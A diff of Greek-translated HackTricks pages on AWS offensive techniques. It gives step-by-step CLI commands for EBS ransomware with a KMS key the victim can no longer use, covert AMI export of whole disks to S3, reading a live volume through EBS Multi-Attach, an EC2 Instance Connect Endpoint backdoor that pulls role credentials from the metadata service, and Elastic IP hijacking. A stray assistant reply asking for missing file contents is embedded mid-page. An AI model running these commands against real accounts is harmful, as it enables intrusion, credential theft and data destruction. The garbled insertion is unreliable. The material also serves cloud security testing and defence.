The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -280,21 +345,21 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Τώρα με το δημόσια προσβάσιμο κλειδί προς χρήση. Μπορούμε να χρησιμοποιήσουμε έναν λογαριασμό 'θύμα' που έχει μερικές EC2 περιπτώσεις ενεργοποιημένες με μη κρυπτογραφημένα EBS volumes συνδεδεμένα. Τα EBS volumes του λογαριασμού 'θύμα' είναι αυτά που στοχεύουμε για κρυπτογράφηση, αυτή η επίθεση είναι υπό την υποτιθέμενη παραβίαση ενός λογαριασμού AWS υψηλής προνομιακής πρόσβασης.
|
||||
Τώρα με το δημόσια προσβάσιμο key προς χρήση. Μπορούμε να χρησιμοποιήσουμε έναν λογαριασμό 'victim' που έχει μερικά EC2 instances εκτελόμενα με μη κρυπτογραφημένα EBS volumes συνδεδεμένα. Τα EBS volumes αυτού του λογαριασμού 'victim' είναι ο στόχος μας για κρυπτογράφηση — αυτή η επίθεση γίνεται υπό την υπόθεση παραβίασης ενός λογαριασμού AWS με υψηλά προνόμια.
|
||||
|
||||
 
|
||||
|
||||
Παρόμοια με το παράδειγμα ransomware S3. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των συνδεδεμένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο κλειδί από τον λογαριασμό 'επιτιθέμενου' για να κρυπτογραφήσει τα νέα EBS volumes, στη συνέχεια θα αποσυνδέσει τα αρχικά EBS volumes από τις EC2 περιπτώσεις και θα τα διαγράψει, και τέλος θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για τη δημιουργία των νέων κρυπτογραφημένων EBS volumes. 
|
||||
Παρόμοια με το παράδειγμα S3 ransomware. Αυτή η επίθεση θα δημιουργήσει αντίγραφα των συνδεδεμένων EBS volumes χρησιμοποιώντας snapshots, θα χρησιμοποιήσει το δημόσια διαθέσιμο key από τον λογαριασμό 'attacker' για να κρυπτογραφήσει τα νέα EBS volumes, στη συνέχεια θα αποσυνδέσει τα αρχικά EBS volumes από τα EC2 instances και θα τα διαγράψει, και τελικά θα διαγράψει τα snapshots που χρησιμοποιήθηκαν για τη δημιουργία των πρόσφατα κρυπτογραφημένων EBS volumes. 
|
||||
|
||||
Αυτό έχει ως αποτέλεσμα να παραμείνουν διαθέσιμα μόνο κρυπτογραφημένα EBS volumes στον λογαριασμό.
|
||||
Αυτό έχει ως αποτέλεσμα να παραμένουν διαθέσιμα στον λογαριασμό μόνο κρυπτογραφημένα EBS volumes.
|
||||
|
||||

|
||||
|
||||
Επίσης αξίζει να σημειωθεί ότι το σενάριο σταμάτησε τις EC2 περιπτώσεις για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά μη κρυπτογραφημένα volumes έχουν πλέον εξαφανιστεί.
|
||||
Αξίζει επίσης να σημειωθεί ότι το script σταμάτησε τα EC2 instances για να αποσυνδέσει και να διαγράψει τα αρχικά EBS volumes. Τα αρχικά μη κρυπτογραφημένα volumes έχουν πλέον εξαφανιστεί.
|
||||
|
||||

|
||||
|
||||
Στη συνέχεια, επιστρέψτε στην πολιτική κλειδιού στον λογαριασμό 'επιτιθέμενου' και αφαιρέστε τον κανόνα πολιτικής 'Εξωτερική Κρυπτογράφηση' από την πολιτική κλειδιού.
|
||||
Στη συνέχεια, επιστρέψτε στην πολιτική κλειδιού του λογαριασμού 'attacker' και αφαιρέστε τον κανόνα πολιτικής 'Outside Encryption'.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -365,15 +430,15 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
|
||||
]
|
||||
}
|
||||
```
|
||||
Περίμενε λίγο για να διαδοθεί η νέα πολιτική κλειδιού. Στη συνέχεια, επέστρεψε στον λογαριασμό του 'θύματος' και προσπάθησε να επισυνάψεις έναν από τους νέους κρυπτογραφημένους όγκους EBS. Θα διαπιστώσεις ότι μπορείς να επισυνάψεις τον όγκο.
|
||||
Περιμένετε λίγο ώστε η νεορυθμισμένη key policy να διαδοθεί. Έπειτα επιστρέψτε στον 'victim' account και προσπαθήστε να επισυνάψετε ένα από τα πρόσφατα κρυπτογραφημένα EBS volumes. Θα διαπιστώσετε ότι μπορείτε να επισυνάψετε το volume.
|
||||
|
||||
 
|
||||
|
||||
Αλλά όταν προσπαθήσεις να ξεκινήσεις ξανά την EC2 instance με τον κρυπτογραφημένο όγκο EBS, θα αποτύχει και θα επιστρέψει από την κατάσταση 'pending' στην κατάσταση 'stopped' για πάντα, καθώς ο επισυναπτόμενος όγκος EBS δεν μπορεί να αποκρυπτογραφηθεί χρησιμοποιώντας το κλειδί, καθώς η πολιτική κλειδιού δεν το επιτρέπει πλέον.
|
||||
Ωστόσο, όταν προσπαθήσετε να επανεκκινήσετε πράγματι το EC2 instance με το κρυπτογραφημένο EBS volume, θα αποτύχει και θα μεταβεί από την κατάσταση 'pending' πίσω στην κατάσταση 'stopped' επ' αόριστον, καθώς το επισυναπτόμενο EBS volume δεν μπορεί να αποκρυπτογραφηθεί με το key επειδή η key policy πλέον δεν το επιτρέπει.
|
||||
|
||||
 
|
||||
|
||||
Αυτό είναι το python script που χρησιμοποιείται. Παίρνει AWS creds για έναν λογαριασμό 'θύματος' και μια δημόσια διαθέσιμη τιμή ARN AWS για το κλειδί που θα χρησιμοποιηθεί για την κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων όγκων EBS που είναι επισυναπτόμενοι σε ΟΛΕΣ τις EC2 instances στον στοχευμένο λογαριασμό AWS, στη συνέχεια θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τους αρχικούς όγκους EBS, θα τους διαγράψει και τελικά θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένους όγκους EBS στον στοχευμένο λογαριασμό 'θύματος'. ΧΡΗΣΙΜΟΠΟΙΗΣΕ ΑΥΤΟ ΤΟ SCRIPT ΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΗΣ, ΕΙΝΑΙ ΑΥΤΟΚΤΟΝΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΟΥΣ ΤΟΥΣ ΑΡΧΙΚΟΥΣ ΟΓΚΟΥΣ EBS. Μπορείς να τους ανακτήσεις χρησιμοποιώντας το χρησιμοποιούμενο KMS κλειδί και να τους επαναφέρεις στην αρχική τους κατάσταση μέσω snapshots, αλλά θέλω απλώς να σε ενημερώσω ότι αυτό είναι ένα PoC ransomware στο τέλος της ημέρας.
|
||||
Αυτό είναι το python script που χρησιμοποιήθηκε. Παίρνει AWS creds για έναν 'victim' account και μια δημόσια διαθέσιμη AWS ARN τιμή για το key που θα χρησιμοποιηθεί για κρυπτογράφηση. Το script θα δημιουργήσει κρυπτογραφημένα αντίγραφα ΟΛΩΝ των διαθέσιμων EBS volumes που είναι προσαρτημένα σε ΟΛΑ τα EC2 instances στον στοχευόμενο AWS account, στη συνέχεια θα σταματήσει κάθε EC2 instance, θα αποσυνδέσει τα αρχικά EBS volumes, θα τα διαγράψει, και τέλος θα διαγράψει όλα τα snapshots που χρησιμοποιήθηκαν κατά τη διαδικασία. Αυτό θα αφήσει μόνο κρυπτογραφημένα EBS volumes στον στοχευόμενο 'victim' account. ΧΡΗΣΙΜΟΠΟΙΗΣΤΕ ΑΥΤΟ ΤΟ SCRIPT ΜΟΝΟ ΣΕ ΠΕΡΙΒΑΛΛΟΝ ΔΟΚΙΜΩΝ, ΕΙΝΑΙ ΚΑΤΑΣΤΡΟΦΙΚΟ ΚΑΙ ΘΑ ΔΙΑΓΡΑΨΕΙ ΟΛΑ ΤΑ ΑΡΧΙΚΑ EBS VOLUMES. Μπορείτε να τα ανακτήσετε χρησιμοποιώντας το χρησιμοποιημένο KMS key και να τα επαναφέρετε στην αρχική τους κατάσταση μέσω snapshots, αλλά θέλω απλώς να σας ενημερώσω ότι πρόκειται για ransomware PoC στο τέλος της ημέρας.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -492,6 +557,6 @@ main()
|
||||
```
|
||||
## Αναφορές
|
||||
|
||||
- [Pentest Partners – Πώς να μεταφέρετε αρχεία στο AWS χρησιμοποιώντας SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+137
@@ -0,0 +1,137 @@
|
||||
# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Περίληψη
|
||||
Abuse EC2 AMI export-to-S3 για να exfiltrate τον πλήρη δίσκο ενός EC2 instance ως μία ενιαία raw image αποθηκευμένη σε S3, και στη συνέχεια να την κατεβάσετε εκτός-καναλιού. Αυτό αποφεύγει το sharing snapshots και παράγει ένα αντικείμενο ανά AMI.
|
||||
|
||||
## Απαιτήσεις
|
||||
- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` στο στόχο instance/AMI
|
||||
- S3 (same Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
|
||||
- KMS decrypt στο κλειδί που προστατεύει τα AMI snapshots (εάν το EBS default encryption είναι ενεργό)
|
||||
- Policy του S3 bucket που εμπιστεύεται το `vmie.amazonaws.com` service principal (δείτε παρακάτω)
|
||||
|
||||
## Επιπτώσεις
|
||||
- Πλήρης offline απόκτηση του root δίσκου του instance σε S3 χωρίς sharing snapshots ή copying across accounts.
|
||||
- Επιτρέπει stealth forensics πάνω σε credentials, configuration, και περιεχόμενο filesystem από την εξαγόμενη raw image.
|
||||
|
||||
## Πώς να Exfiltrate μέσω AMI Store-to-S3
|
||||
|
||||
- Σημειώσεις:
|
||||
- Το S3 bucket πρέπει να βρίσκεται στην ίδια Region με το AMI.
|
||||
- Στο `us-east-1`, το `create-bucket` ΔΕΝ πρέπει να περιλαμβάνει `--create-bucket-configuration`.
|
||||
- `--no-reboot` δημιουργεί μια crash-consistent εικόνα χωρίς να σταματήσει το instance (πιο διακριτική αλλά με λιγότερη συνοχή).
|
||||
|
||||
<details>
|
||||
<summary>Εντολές βήμα-βήμα</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<i-victim>
|
||||
BUCKET=exfil-ami-$(date +%s)-$RANDOM
|
||||
|
||||
# 1) Create S3 bucket (same Region)
|
||||
if [ "$REGION" = "us-east-1" ]; then
|
||||
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
|
||||
else
|
||||
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
|
||||
fi
|
||||
|
||||
# 2) (Recommended) Bucket policy to allow VMIE service to write the object
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
cat > /tmp/bucket-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVMIEPut",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "vmie.amazonaws.com"},
|
||||
"Action": [
|
||||
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
|
||||
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::$BUCKET",
|
||||
"arn:aws:s3:::$BUCKET/*"
|
||||
],
|
||||
"Condition": {
|
||||
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
|
||||
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
POL
|
||||
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
|
||||
|
||||
# 3) Create an AMI of the victim (stealthy: do not reboot)
|
||||
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
|
||||
|
||||
# 4) Wait until the AMI is available
|
||||
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
|
||||
|
||||
# 5) Store the AMI to S3 as a single object (raw disk image)
|
||||
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
|
||||
|
||||
echo "Object in S3: s3://$BUCKET/$OBJKEY"
|
||||
|
||||
# 6) Poll the task until it completes
|
||||
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
|
||||
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 7) Prove access to the exported image (download first 1MiB)
|
||||
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
|
||||
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
|
||||
ls -l /tmp/ami.bin
|
||||
|
||||
# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
|
||||
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
|
||||
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
|
||||
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
|
||||
done
|
||||
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
|
||||
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Παράδειγμα αποδεικτικών στοιχείων
|
||||
|
||||
- `describe-store-image-tasks` μεταβάσεις:
|
||||
```text
|
||||
InProgress
|
||||
Completed
|
||||
```
|
||||
- S3 μεταδεδομένα αντικειμένου (παράδειγμα):
|
||||
```json
|
||||
{
|
||||
"AcceptRanges": "bytes",
|
||||
"LastModified": "2025-10-08T01:31:46+00:00",
|
||||
"ContentLength": 399768709,
|
||||
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
|
||||
"ContentType": "application/octet-stream",
|
||||
"ServerSideEncryption": "AES256",
|
||||
"Metadata": {
|
||||
"ami-name": "exfil-1759887010",
|
||||
"ami-owner-account": "<account-id>",
|
||||
"ami-store-date": "2025-10-08T01:31:45Z"
|
||||
}
|
||||
}
|
||||
```
|
||||
- Μερική λήψη αποδεικνύει την πρόσβαση στο αντικείμενο:
|
||||
```bash
|
||||
ls -l /tmp/ami.bin
|
||||
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
|
||||
```
|
||||
## Απαιτούμενα δικαιώματα IAM
|
||||
|
||||
- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
|
||||
- S3 (στο bucket εξαγωγής): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
|
||||
- KMS: Εάν τα AMI snapshots είναι κρυπτογραφημένα, επιτρέψτε decrypt για το EBS KMS key που χρησιμοποιείται από τα snapshots
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+77
@@ -0,0 +1,77 @@
|
||||
# AWS - Live Data Theft via EBS Multi-Attach
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Σύνοψη
|
||||
Κακοχρησιμοποιήστε το EBS Multi-Attach για να διαβάσετε από έναν ενεργό io1/io2 data volume προσαρτώντας τον ίδιο όγκο σε ένα attacker-controlled instance στην ίδια Availability Zone (AZ). Το προσαρτημένο κοινόχρηστο volume σε read-only κατάσταση παρέχει άμεση πρόσβαση σε αρχεία που είναι σε χρήση χωρίς να χρειαστεί να δημιουργήσετε snapshots.
|
||||
|
||||
## Απαιτήσεις
|
||||
- Target volume: io1 or io2 created with `--multi-attach-enabled` in the same AZ as the attacker instance.
|
||||
- Permissions: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` on the target volume/instances.
|
||||
- Infrastructure: Nitro-based instance types that support Multi-Attach (C5/M5/R5 families, etc.).
|
||||
|
||||
## Σημειώσεις
|
||||
- Προσαρτήστε σε read-only με `-o ro,noload` για να μειώσετε τον κίνδυνο καταστροφής και να αποφύγετε journal replays.
|
||||
- Σε Nitro instances η EBS NVMe συσκευή εκθέτει μια σταθερή διαδρομή `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` (βοηθητικό παρακάτω).
|
||||
|
||||
## Προετοιμάστε ένα Multi-Attach io2 volume και προσαρτήστε το στον victim
|
||||
|
||||
Παράδειγμα (create in `us-east-1a` and attach to the victim):
|
||||
```bash
|
||||
AZ=us-east-1a
|
||||
# Create io2 volume with Multi-Attach enabled
|
||||
VOL_ID=$(aws ec2 create-volume \
|
||||
--size 10 \
|
||||
--volume-type io2 \
|
||||
--iops 1000 \
|
||||
--availability-zone $AZ \
|
||||
--multi-attach-enabled \
|
||||
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
|
||||
--query 'VolumeId' --output text)
|
||||
|
||||
# Attach to victim instance
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
|
||||
```
|
||||
Στο θύμα, format/mount τον νέο volume και γράψτε ευαίσθητα δεδομένα (παραδειγματικό):
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkfs.ext4 -F "$DEV"
|
||||
sudo mkdir -p /mnt/shared
|
||||
sudo mount "$DEV" /mnt/shared
|
||||
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
|
||||
sudo sync
|
||||
```
|
||||
## Συνδέστε το ίδιο volume στο attacker instance
|
||||
```bash
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
|
||||
```
|
||||
## Mount ως read-only στον attacker και ανάγνωση δεδομένων
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkdir -p /mnt/steal
|
||||
sudo mount -o ro,noload "$DEV" /mnt/steal
|
||||
sudo cat /mnt/steal/secret.txt
|
||||
```
|
||||
Αναμενόμενο αποτέλεσμα: Το ίδιο `VOL_ID` εμφανίζει πολλαπλά `Attachments` (victim and attacker) και ο attacker μπορεί να διαβάσει αρχεία που έγραψε το victim χωρίς να δημιουργήσει κανένα snapshot.
|
||||
```bash
|
||||
aws ec2 describe-volumes --volume-ids $VOL_ID \
|
||||
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
|
||||
```
|
||||
<details>
|
||||
<summary>Βοηθητικό: βρείτε τη διαδρομή NVMe συσκευής από το Volume ID</summary>
|
||||
|
||||
Σε Nitro instances, χρησιμοποιήστε τη σταθερή by-id διαδρομή που ενσωματώνει το volume id (αφαιρέστε το παύλα μετά το `vol`):
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
|
||||
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
|
||||
```
|
||||
</details>
|
||||
|
||||
## Επιπτώσεις
|
||||
- Άμεση πρόσβαση ανάγνωσης στα ζωντανά δεδομένα στον στοχευμένο EBS όγκο χωρίς τη δημιουργία snapshots.
|
||||
- Αν προσαρτηθεί read-write, ο επιτιθέμενος μπορεί να παραποιήσει το σύστημα αρχείων του θύματος (κίνδυνος καταστροφής).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+113
@@ -0,0 +1,113 @@
|
||||
# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Κατάχρηση του EC2 Instance Connect Endpoint (EIC Endpoint) για την απόκτηση εισερχόμενης πρόσβασης SSH σε ιδιωτικές EC2 instances (χωρίς δημόσια IP/bastion) με:
|
||||
- Δημιουργία EIC Endpoint μέσα στο υποδίκτυο-στόχο
|
||||
- Επιτρέποντας εισερχόμενη SSH κίνηση στο SG του στόχου από το SG του EIC Endpoint
|
||||
- Εισαγωγή ενός εφήμερου δημόσιου κλειδιού SSH (ισχύει ~60 δευτερόλεπτα) με `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Άνοιγμα EIC tunnel και pivot προς το instance για κλοπή των διαπιστευτηρίων του instance profile από το IMDS
|
||||
|
||||
Impact: κρυφός τρόπος απομακρυσμένης πρόσβασης σε ιδιωτικές EC2 instances που παρακάμπτει bastions και περιορισμούς δημόσιας IP. Ο επιτιθέμενος μπορεί να αναλάβει το instance profile και να δρα εντός του account.
|
||||
|
||||
## Requirements
|
||||
- Δικαιώματα για:
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- Στόχος Linux instance με SSH server και EC2 Instance Connect ενεργοποιημένο (Amazon Linux 2 ή Ubuntu 20.04+). Προεπιλεγμένοι χρήστες: `ec2-user` (AL2) ή `ubuntu` (Ubuntu).
|
||||
|
||||
## Variables
|
||||
```bash
|
||||
export REGION=us-east-1
|
||||
export INSTANCE_ID=<i-xxxxxxxxxxxx>
|
||||
export SUBNET_ID=<subnet-xxxxxxxx>
|
||||
export VPC_ID=<vpc-xxxxxxxx>
|
||||
export TARGET_SG_ID=<sg-of-target-instance>
|
||||
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## Δημιουργία EIC Endpoint
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
--security-group-ids "$ENDPOINT_SG_ID" \
|
||||
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
|
||||
--region "$REGION" \
|
||||
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
|
||||
|
||||
# Wait until ready
|
||||
while true; do
|
||||
aws ec2 describe-instance-connect-endpoints \
|
||||
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
|
||||
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
|
||||
grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
## Επιτρέψτε την κυκλοφορία από EIC Endpoint προς target instance
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## Εισαγωγή προσωρινού SSH κλειδιού και άνοιγμα τούνελ
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
|
||||
# Send short-lived SSH pubkey (valid ~60s)
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "$OS_USER" \
|
||||
--ssh-public-key file:///tmp/eic.pub \
|
||||
--region "$REGION"
|
||||
|
||||
# Open a local tunnel to instance:22 via the EIC Endpoint
|
||||
aws ec2-instance-connect open-tunnel \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" \
|
||||
--local-port 2222 --remote-port 22 --region "$REGION" &
|
||||
TUN_PID=$!; sleep 2
|
||||
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## Post-exploitation απόδειξη (steal instance profile credentials)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
I don't have the file contents. Please paste the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md here, and I'll translate the relevant English text to Greek following your rules.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
"AccessKeyId": "ASIA...",
|
||||
"SecretAccessKey": "w0G...",
|
||||
"Token": "IQoJ...",
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
Χρησιμοποιήστε τα κλεμμένα creds τοπικά για να επαληθεύσετε την ταυτότητα:
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
export AWS_SESSION_TOKEN=<Token>
|
||||
aws sts get-caller-identity --region "$REGION"
|
||||
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
|
||||
```
|
||||
## Καθαρισμός
|
||||
```bash
|
||||
# Revoke SG ingress on the target
|
||||
aws ec2 revoke-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
|
||||
# Delete EIC Endpoint
|
||||
aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Σημειώσεις
|
||||
> - Το εισαγόμενο SSH κλειδί είναι έγκυρο μόνο για ~60 δευτερόλεπτα· στείλτε το κλειδί αμέσως πριν ανοίξετε το tunnel/SSH.
|
||||
> - `OS_USER` πρέπει να ταιριάζει με το AMI (π.χ., `ubuntu` για Ubuntu, `ec2-user` για Amazon Linux 2).
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Περίληψη
|
||||
|
||||
Καταχραστείτε `ec2:AssociateAddress` (και προαιρετικά `ec2:DisassociateAddress`) για να επανασυνδέσετε ένα Elastic IP (EIP) από ένα victim instance/ENI σε ένα attacker instance/ENI. Αυτό αναδρομολογεί την εισερχόμενη κίνηση που προορίζεται για το EIP προς τον attacker και επίσης επιτρέπει στον attacker να ξεκινήσει εξερχόμενη κίνηση με τη allowlisted δημόσια IP, παρακάμπτοντας εξωτερικά partner firewalls.
|
||||
|
||||
## Προαπαιτούμενα
|
||||
- Target EIP allocation ID στο ίδιο account/VPC.
|
||||
- Attacker instance/ENI που ελέγχετε.
|
||||
- Δικαιώματα:
|
||||
- `ec2:DescribeAddresses`
|
||||
- `ec2:AssociateAddress` στο EIP allocation-id και στο attacker instance/ENI
|
||||
- `ec2:DisassociateAddress` (προαιρετικό). Σημείωση: `--allow-reassociation` θα αποσυνδέσει αυτόματα την προηγούμενη σύνδεση.
|
||||
|
||||
## Επίθεση
|
||||
|
||||
Μεταβλητές
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ATTACKER_INSTANCE=<i-attacker>
|
||||
VICTIM_INSTANCE=<i-victim>
|
||||
```
|
||||
1) Εκχωρήστε ή εντοπίστε το EIP του θύματος (το lab εκχωρεί ένα καινούριο και το επισυνάπτει στο θύμα)
|
||||
```bash
|
||||
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
|
||||
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
|
||||
```
|
||||
2) Επιβεβαιώστε ότι το EIP αυτή τη στιγμή επιλύεται στην υπηρεσία του θύματος (π.χ. έλεγχος για banner)
|
||||
```bash
|
||||
curl -sS http://$EIP | grep -i victim
|
||||
```
|
||||
3) Επανασυνδέστε το EIP στον επιτιθέμενο (αποσυνδέεται αυτόματα από το θύμα)
|
||||
```bash
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
|
||||
```
|
||||
4) Επαληθεύστε ότι το EIP πλέον επιλύεται στην attacker service
|
||||
```bash
|
